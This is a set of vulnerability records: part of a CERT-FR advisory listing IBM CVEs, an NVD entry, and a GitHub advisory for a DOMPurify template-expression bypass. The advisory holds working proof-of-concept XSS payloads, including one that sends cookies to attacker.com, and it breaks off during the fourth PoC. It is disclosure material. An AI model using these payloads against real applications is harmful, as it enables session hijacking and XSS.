"name": "CVE-2026-55379",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55379"
},
{
"name": "CVE-2026-31488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31488"
},
{
"name": "CVE-2026-9358",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9358"
},
{
"name": "CVE-2026-44417",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44417"
},
{
"name": "CVE-2026-14446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14446"
},
{
"name": "CVE-2026-54279",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54279"
},
{
"name": "CVE-2026-33672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33672"
},
{
"name": "CVE-2026-6238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6238"
},
{
"name": "CVE-2026-8723",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8723"
},
{
"name": "CVE-2026-75838",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-75838"
},
{
"name": "CVE-2026-59200",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59200"
},
{
"name": "CVE-2025-58181",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-58181"
},
{
"name": "CVE-2025-47914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47914"
},
{
"name": "CVE-2026-59877",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59877"
},
{
"name": "CVE-2026-9678",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9678"
},
{
"name": "CVE-2026-39304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39304"
},
{
"name": "CVE-2026-48713",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48713"
},
{
"name": "CVE-2026-49270",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49270"
},
{
"name": "CVE-2026-34516",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34516"
},
{
"name": "CVE-2026-46086",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46086"
},
{
"name": "CVE-2026-15064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15064"
},
{
"name": "CVE-2026-42044",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42044"
},
{
"name": "CVE-2026-14476",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14476"
},
{
"name": "CVE-2026-53359",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53359"
},
{
"name": "CVE-2026-16439",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16439"
},
{
"name": "CVE-2018-16487",
"url": "https://www.cve.org/CVERecord?id=CVE-2018-16487"
},
{
"name": "CVE-2026-44728",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44728"
},
{
"name": "CVE-2026-55955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55955"
},
{
"name": "CVE-2026-34517",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34517"
},
{
"name": "CVE-2026-49477",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49477"
},
{
"name": "CVE-2026-42034",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42034"
},
{
"name": "CVE-2026-9322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9322"
},
{
"name": "CVE-2025-5889",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5889"
},
{
"name": "CVE-2026-31411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31411"
},
{
"name": "CVE-2026-54513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54513"
},
{
"name": "CVE-2026-34591",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34591"
},
{
"name": "CVE-2026-48779",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48779"
},
{
"name": "CVE-2025-14914",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14914"
},
{
"name": "CVE-2026-9563",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9563"
},
{
"name": "CVE-2026-13676",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13676"
},
{
"name": "CVE-2026-54276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54276"
},
{
"name": "CVE-2026-53434",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53434"
},
{
"name": "CVE-2026-40347",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40347"
},
{
"name": "CVE-2026-43112",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43112"
},
{
"name": "CVE-2025-66168",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66168"
},
{
"name": "CVE-2026-66142",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-66142"
},
{
"name": "CVE-2026-10051",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10051"
},
{
"name": "CVE-2026-6322",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6322"
},
{
"name": "CVE-2026-34513",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34513"
},
{
"name": "CVE-2026-43869",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43869"
},
{
"name": "CVE-2026-8400",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8400"
},
{
"name": "CVE-2026-14980",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14980"
},
{
"name": "CVE-2026-5078",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5078"
},
{
"name": "CVE-2026-12143",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12143"
},
{
"name": "CVE-2026-55655",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55655"
},
{
"name": "CVE-2026-34514",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34514"
},
{
"name": "CVE-2026-44431",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44431"
},
{
"name": "CVE-2026-27601",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27601"
},
{
"name": "CVE-2026-26996",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26996"
},
{
"name": "CVE-2026-44486",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44486"
},
{
"name": "CVE-2026-33227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33227"
},
{
"name": "CVE-2026-48775",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48775"
},
{
"name": "CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"name": "CVE-2026-60081",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60081"
},
{
"name": "CVE-2026-10879",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10879"
},
{
"name": "CVE-2026-64530",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-64530"
},
{
"name": "CVE-2026-44492",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44492"
},
{
"name": "CVE-2026-45736",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45736"
},
{
"name": "CVE-2026-54225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54225"
},
{
"name": "CVE-2026-34520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34520"
},
{
"name": "CVE-2026-41238",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41238"
},
{
"name": "CVE-2026-42037",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42037"
},
{
"name": "CVE-2026-53404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53404"
},
{
"name": "CVE-2026-33416",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33416"
},
{
"name": "CVE-2026-42042",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42042"
},
{
"name": "CVE-2026-9071",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9071"
},
{
"name": "CVE-2026-34993",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34993"
},
{
"name": "CVE-2026-59198",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59198"
},
{
"name": "CVE-2026-11806",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11806"
},
{
"name": "CVE-2026-44294",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44294"
},
{
"name": "CVE-2026-6321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
},
{
"name": "CVE-2026-33231",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33231"
},
{
"name": "CVE-2026-48801",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48801"
},
{
"name": "CVE-2026-52923",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-52923"
},
{
"name": "CVE-2026-42012",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42012"
},
{
"name": "CVE-2026-44490",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44490"
},
{
"name": "CVE-2026-46917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46917"
},
{
"name": "CVE-2026-43116",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-43116"
},
{
"name": "CVE-2026-60147",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60147"
},
{
"name": "CVE-2026-22815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22815"
},
{
"name": "CVE-2026-15280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15280"
},
{
"name": "CVE-2026-22008",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22008"
},
{
"name": "CVE-2026-31802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-31802"
},
{
"name": "CVE-2026-56852",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56852"
},
{
"name": "CVE-2026-6733",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6733"
},
{
"name": "CVE-2026-13311",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-13311"
},
{
"name": "CVE-2026-44488",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44488"
},
{
"name": "CVE-2026-33230",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33230"
},
{
"name": "CVE-2026-10535",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10535"
},
{
"name": "CVE-2026-34481",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34481"
},
{
"name": "CVE-2025-47273",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47273"
},
{
"name": "CVE-2026-59204",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59204"
},
{
"name": "CVE-2026-27904",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27904"
},
{
"name": "CVE-2026-14474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14474"
},
{
"name": "CVE-2026-47059",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47059"
},
{
"name": "CVE-2026-53539",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53539"
},
{
"name": "CVE-2026-2739",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2739"
},
{
"name": "CVE-2026-65898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
},
{
"name": "CVE-2026-53917",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53917"
},
{
"name": "CVE-2026-15392",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15392"
},
{
"name": "CVE-2026-8177",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8177"
}
],
"initial_release_date": "2026-08-28T00:00:00",
"last_revision_date": "2026-08-28T00:00:00",
"links": [],
"reference": "CERTFR-2026-AVI-1094",
"revisions": [
{
"description": "Version initiale",
"revision_date": "2026-08-28T00:00:00.000000"
}
],
"risks": [
{
"description": "D\u00e9ni de service \u00e0 distance"
},
{
"description": "Injection de code indirecte \u00e0 distance (XSS)"
},
{
"description": "Injection de requ\u00eates ill\u00e9gitimes par rebond (CSRF)"
},
{
"description": "Ex\u00e9cution de code arbitraire \u00e0 distance"
},
{
"description": "Atteinte \u00e0 l\u0027int\u00e9grit\u00e9 des donn\u00e9es"
},
{
"description": "Non sp\u00e9cifi\u00e9 par l\u0027\u00e9diteur"
},
{
"description": "Falsification de requ\u00eates c\u00f4t\u00e9 serveur (SSRF)"
},
{
"description": "Contournement de la politique de s\u00e9curit\u00e9"
},
{
"description": "Atteinte \u00e0 la confidentialit\u00e9 des donn\u00e9es"
},
{
"description": "\u00c9l\u00e9vation de privil\u00e8ges"
}
],
"summary": "De multiples vuln\u00e9rabilit\u00e9s ont \u00e9t\u00e9 d\u00e9couvertes dans les produits IBM. Certaines d\u0027entre elles permettent \u00e0 un attaquant de provoquer une ex\u00e9cution de code arbitraire \u00e0 distance, une \u00e9l\u00e9vation de privil\u00e8ges et un d\u00e9ni de service \u00e0 distance.",
"title": "Multiples vuln\u00e9rabilit\u00e9s dans les produits IBM",
"vendor_advisories": [
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285382",
"url": "https://www.ibm.com/support/pages/node/7285382"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284666",
"url": "https://www.ibm.com/support/pages/node/7284666"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285542",
"url": "https://www.ibm.com/support/pages/node/7285542"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285272",
"url": "https://www.ibm.com/support/pages/node/7285272"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285232",
"url": "https://www.ibm.com/support/pages/node/7285232"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285472",
"url": "https://www.ibm.com/support/pages/node/7285472"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285291",
"url": "https://www.ibm.com/support/pages/node/7285291"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285470",
"url": "https://www.ibm.com/support/pages/node/7285470"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285469",
"url": "https://www.ibm.com/support/pages/node/7285469"
},
{
"published_at": "2026-08-21",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284528",
"url": "https://www.ibm.com/support/pages/node/7284528"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285416",
"url": "https://www.ibm.com/support/pages/node/7285416"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285376",
"url": "https://www.ibm.com/support/pages/node/7285376"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285380",
"url": "https://www.ibm.com/support/pages/node/7285380"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285275",
"url": "https://www.ibm.com/support/pages/node/7285275"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285292",
"url": "https://www.ibm.com/support/pages/node/7285292"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285234",
"url": "https://www.ibm.com/support/pages/node/7285234"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285141",
"url": "https://www.ibm.com/support/pages/node/7285141"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7279466",
"url": "https://www.ibm.com/support/pages/node/7279466"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284718",
"url": "https://www.ibm.com/support/pages/node/7284718"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285509",
"url": "https://www.ibm.com/support/pages/node/7285509"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285340",
"url": "https://www.ibm.com/support/pages/node/7285340"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285513",
"url": "https://www.ibm.com/support/pages/node/7285513"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285420",
"url": "https://www.ibm.com/support/pages/node/7285420"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284710",
"url": "https://www.ibm.com/support/pages/node/7284710"
},
{
"published_at": "2026-08-26",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285274",
"url": "https://www.ibm.com/support/pages/node/7285274"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284653",
"url": "https://www.ibm.com/support/pages/node/7284653"
},
{
"published_at": "2026-08-27",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285342",
"url": "https://www.ibm.com/support/pages/node/7285342"
},
{
"published_at": "2026-08-28",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7285539",
"url": "https://www.ibm.com/support/pages/node/7285539"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284670",
"url": "https://www.ibm.com/support/pages/node/7284670"
},
{
"published_at": "2026-08-24",
"title": "Bulletin de s\u00e9curit\u00e9 IBM 7284806",
"url": "https://www.ibm.com/support/pages/node/7284806"
}
]
}
FKIE_CVE-2026-65900
Vulnerability from fkie_nvd - Published: 2026-07-23 14:18 - Updated: 2026-07-28 15:52| URL | Tags | ||
|---|---|---|---|
| disclosure@vulncheck.com | https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr | Exploit, Third Party Advisory | |
| disclosure@vulncheck.com | https://www.vulncheck.com/advisories/dompurify-before-template-expression-injection-via-return-dom | Third Party Advisory | |
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr | Exploit, Third Party Advisory |
{
"affected": [
{
"affectedData": [
{
"defaultStatus": "unaffected",
"packageURL": "pkg:npm/dompurify",
"product": "DOMPurify",
"vendor": "cure53",
"versions": [
{
"lessThan": "3.4.8",
"status": "affected",
"version": "3.0.0",
"versionType": "semver"
},
{
"status": "unaffected",
"version": "3.4.8",
"versionType": "semver"
}
]
}
],
"source": "disclosure@vulncheck.com"
}
],
"configurations": [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:cure53:dompurify:*:*:*:*:*:*:*:*",
"matchCriteriaId": "71393780-60EC-4C4F-B4B9-3BD6F1C8882D",
"versionEndExcluding": "3.4.8",
"versionStartIncluding": "3.0.0",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
]
}
],
"cveTags": [],
"descriptions": [
{
"lang": "en",
"value": "DOMPurify versions \u003e=3.0.0 and before 3.4.8, when configured with SAFE_FOR_TEMPLATES together with a DOM output mode (RETURN_DOM, RETURN_DOM_FRAGMENT, or IN_PLACE), fail to strip template expressions (e.g. ${evil}, {{evil}}, \u003c%evil%\u003e) inside \u003ctemplate\u003e element content. The final normalization/scrub pass (_scrubTemplateExpressions) uses a NodeIterator and node.normalize() that do not descend into template.content, so expressions that only form after adjacent text nodes merge survive sanitization. This bypasses SAFE_FOR_TEMPLATES and can allow a downstream template engine to evaluate attacker-supplied expressions. The string output path is not affected."
}
],
"id": "CVE-2026-65900",
"lastModified": "2026-07-28T15:52:37.367",
"metrics": {
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.1,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 2.7,
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"cvssMetricV40": [
{
"cvssData": {
"Automatable": "NOT_DEFINED",
"Recovery": "NOT_DEFINED",
"Safety": "NOT_DEFINED",
"attackComplexity": "LOW",
"attackRequirements": "NONE",
"attackVector": "NETWORK",
"availabilityRequirement": "NOT_DEFINED",
"baseScore": 5.1,
"baseSeverity": "MEDIUM",
"confidentialityRequirement": "NOT_DEFINED",
"exploitMaturity": "NOT_DEFINED",
"integrityRequirement": "NOT_DEFINED",
"modifiedAttackComplexity": "NOT_DEFINED",
"modifiedAttackRequirements": "NOT_DEFINED",
"modifiedAttackVector": "NOT_DEFINED",
"modifiedPrivilegesRequired": "NOT_DEFINED",
"modifiedSubAvailabilityImpact": "NOT_DEFINED",
"modifiedSubConfidentialityImpact": "NOT_DEFINED",
"modifiedSubIntegrityImpact": "NOT_DEFINED",
"modifiedUserInteraction": "NOT_DEFINED",
"modifiedVulnAvailabilityImpact": "NOT_DEFINED",
"modifiedVulnConfidentialityImpact": "NOT_DEFINED",
"modifiedVulnIntegrityImpact": "NOT_DEFINED",
"privilegesRequired": "NONE",
"providerUrgency": "NOT_DEFINED",
"subAvailabilityImpact": "NONE",
"subConfidentialityImpact": "LOW",
"subIntegrityImpact": "LOW",
"userInteraction": "ACTIVE",
"valueDensity": "NOT_DEFINED",
"vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"version": "4.0",
"vulnAvailabilityImpact": "NONE",
"vulnConfidentialityImpact": "NONE",
"vulnIntegrityImpact": "NONE",
"vulnerabilityResponseEffort": "NOT_DEFINED"
},
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
],
"ssvcV203": [
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"ssvcData": {
"id": "CVE-2026-65900",
"options": [
{
"exploitation": "poc"
},
{
"automatable": "no"
},
{
"technicalImpact": "partial"
}
],
"role": "CISA Coordinator",
"timestamp": "2026-07-23T18:02:35.290579Z",
"version": "2.0.3"
}
}
]
},
"published": "2026-07-23T14:18:04.843",
"references": [
{
"source": "disclosure@vulncheck.com",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
},
{
"source": "disclosure@vulncheck.com",
"tags": [
"Third Party Advisory"
],
"url": "https://www.vulncheck.com/advisories/dompurify-before-template-expression-injection-via-return-dom"
},
{
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-gvmj-g25r-r7wr"
}
],
"sourceIdentifier": "disclosure@vulncheck.com",
"vulnStatus": "Analyzed",
"weaknesses": [
{
"description": [
{
"lang": "en",
"value": "CWE-79"
}
],
"source": "disclosure@vulncheck.com",
"type": "Secondary"
}
]
}
GHSA-GVMJ-G25R-R7WR
Vulnerability from github – Published: 2026-06-15 20:02 – Updated: 2026-07-23 14:00Summary
When DOMPurify is configured with both SAFE_FOR_TEMPLATES: true and RETURN_DOM: true (or IN_PLACE: true), an attacker can inject template expressions, such as ${evil}, {{evil}}, or <%evil%>, that survive the sanitization pass inside <template> element content. This bypasses the explicit purpose of SAFE_FOR_TEMPLATES, which is to prevent template engine evaluation of user-supplied content.
Note: The string output path is not affected. Only the DOM return paths (
RETURN_DOM: true,RETURN_DOM_FRAGMENT: true,IN_PLACE: true) are vulnerable.
Description
Background
SAFE_FOR_TEMPLATES is designed to strip {{ }}, ${ }, and <% %> expressions from sanitized output so that downstream template engines do not evaluate user-controlled content. The feature operates through two mechanisms:
- Per-node scrubbing (
_sanitizeElements,src/purify.ts:1403), scrubs individual text nodes during the main sanitization walk. - Final normalization pass (
_scrubTemplateExpressions,src/purify.ts:1115), callsnode.normalize()to merge adjacent text nodes, then walks the merged nodes and strips any expressions that only appeared after merging.
The Gap
_scrubTemplateExpressions uses a standard NodeIterator rooted at the output body:
// src/purify.ts:1117
const walker = createNodeIterator.call(
node.ownerDocument || node,
node,
NodeFilter.SHOW_TEXT | NodeFilter.SHOW_COMMENT | ...,
null
);
Per the DOM specification, a NodeIterator does not descend into <template>.content. The template element's content is a separate DocumentFragment that lives outside the normal child-node tree. For the same reason, node.normalize() (called on line 1116) also does not normalize text nodes inside <template>.content.
This means the final normalization and scrub pass, the only pass that catches expressions formed by merging split text nodes, never runs on <template> content.
How Split Text Nodes Are Created
When DOMPurify removes a disallowed element with KEEP_CONTENT: true (the default), it moves the element's text children into the parent node. This is the standard code path at src/purify.ts:1361–1373:
if (KEEP_CONTENT && !FORBID_CONTENTS[tagName]) {
const parentNode = getParentNode(currentNode);
const childNodes = getChildNodes(currentNode);
if (childNodes && parentNode) {
for (let i = childCount - 1; i >= 0; --i) {
const childClone = cloneNode(childNodes[i], true);
parentNode.insertBefore(childClone, getNextSibling(currentNode));
}
}
}
If the removed elements were adjacent siblings inside <template> content, their extracted text nodes end up as adjacent text nodes in the template content fragment. Each individual text node is scrubbed by _sanitizeElements, but since $ and {evil} do not match any expression regex on their own, neither is modified.
The code comment at src/purify.ts:1100 explicitly acknowledges the threat class:
"which only form after text-node normalization (e.g. fragments split across stripped elements) cannot survive into a template-evaluating framework."
The implementation guards against this on the main body, but the guard is not applied to <template> content.
Proof of Concept
Why the Split Works
The bypass relies on splitting ${...} across two adjacent custom elements so that neither fragment matches any DOMPurify regex on its own:
| Fragment | Against TMPLIT_EXPR /\${[\w\W]*/g |
Against MUSTACHE_EXPR /{{[\w\W]*\|^[\w\W]*}}/g |
Result |
|---|---|---|---|
$ |
Requires ${ - no { follows |
No {{ or }} |
Survives |
{alert(document.domain)} |
Requires leading $ - absent |
No {{, ends with single } not }} |
Survives |
${alert(document.domain)} |
Full match - would be stripped | - | Stripped if seen whole |
DOMPurify only sees each fragment in isolation. It never merges them before checking, so the expression is never detected.
PoC 1 - XSS via alert() (baseline confirmation)
// Attacker input - splits "${alert(document.domain)}" across two custom elements.
// Custom elements are not in DOMPurify's default ALLOWED_TAGS and are removed,
// but their text content is kept (KEEP_CONTENT: true is the default).
const dirty =
'<template>' +
'<x-split-1>$</x-split-1>' +
'<x-split-2>{alert(document.domain)}</x-split-2>' +
'</template>';
// Developer sanitizes with SAFE_FOR_TEMPLATES, trusting it strips ${...}
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Inspect what survived inside the <template>
const tmpl = sanitized.querySelector('template');
console.log([...tmpl.content.childNodes].map(n => n.nodeValue));
// ["$", "{alert(document.domain)}"] <-- two separate text nodes, both "clean"
// Frameworks (lit-html, Angular, custom renderers) routinely call normalize()
// before reading template content. This merges the adjacent nodes:
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${alert(document.domain)}" <-- fully formed expression, past the sanitizer
// Any template-literal evaluator now fires XSS:
const expr = tmpl.content.textContent;
new Function(`return \`${expr}\``)();
// !! alert(document.domain) executes !!
PoC 2 - Session Hijacking via cookie exfiltration
// Splits "${document.location='//attacker.com/?c='+document.cookie}"
// "{document.location=...}" ends with a single "}" — does NOT match
// MUSTACHE_EXPR's "^[\w\W]*}}" (requires double "}}"), so it survives.
const dirty =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{document.location="//attacker.com/?c="+document.cookie}</x-b>' +
'</template>';
const sanitized = DOMPurify.sanitize(dirty, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
const tmpl = sanitized.querySelector('template');
tmpl.content.normalize();
console.log(tmpl.content.textContent);
// "${document.location="//attacker.com/?c="+document.cookie}"
// Template engine evaluates it - victim's browser makes the request:
new Function(`return \`${tmpl.content.textContent}\``)();
// !! Redirects victim to attacker.com with their full cookie string !!
// e.g. https://attacker.com/?c=session=abc123;auth_token=xyz789
PoC 3 - End-to-end: realistic application context
This shows the full path in an application that uses DOMPurify to sanitize user-submitted rich text before rendering it with a custom template engine:
<!-- index.html - the vulnerable application -->
<div id="output"></div>
<script type="module">
import DOMPurify from './dist/purify.es.mjs';
// Simulates fetching and rendering user-submitted comment
async function renderComment(userHtml) {
// Developer correctly uses SAFE_FOR_TEMPLATES to protect the template engine
const dom = DOMPurify.sanitize(userHtml, {
RETURN_DOM: true,
SAFE_FOR_TEMPLATES: true,
});
// Application iterates <template> elements and evaluates their content
// (common pattern in component-based frameworks)
dom.querySelectorAll('template').forEach(tmpl => {
tmpl.content.normalize(); // standard DOM housekeeping
const content = tmpl.content.textContent;
// Application uses template literals to interpolate user content into UI
const rendered = new Function('user', `return \`${content}\``)({ name: 'World' });
document.getElementById('output').innerHTML += rendered;
});
}
// Attacker-supplied comment content
const attackerComment =
'<template>' +
'<x-a>$</x-a>' +
'<x-b>{alert("XSS: " + document.cookie)}</x-b>' +
'</template>';
// Developer believes SAFE_FOR_TEMPLATES makes this safe — it does not for RETURN_DOM
renderComment(attackerComment);
// !! XSS fires, alert pops with session cookies !!
</script>
Observed output: alert("XSS: " + document.cookie) executes in the victim's browser context, leaking session tokens to the attacker.
PoC 4 - IN_PLACE mode (DOM input path)
// Applicable when the application sanitizes DOM nodes directly
// (e.g., content loaded into an iframe or received from a WebSocket)
const container = document.createElement('div');
const tmpl = document.createElement('template');
// Adjacent text nodes - these would never appear in HTML-parsed content,
// but CAN appear in programmatically constructed DOM or WebSocket messages
// that are deserialised into DOM nodes before sanitisation.
tmpl.content.appendChild(document.createTextNode('$'));
tmpl.content.appendChild(document.createTextNode('{alert(document.domain)}'));
container.appendChild(tmpl);
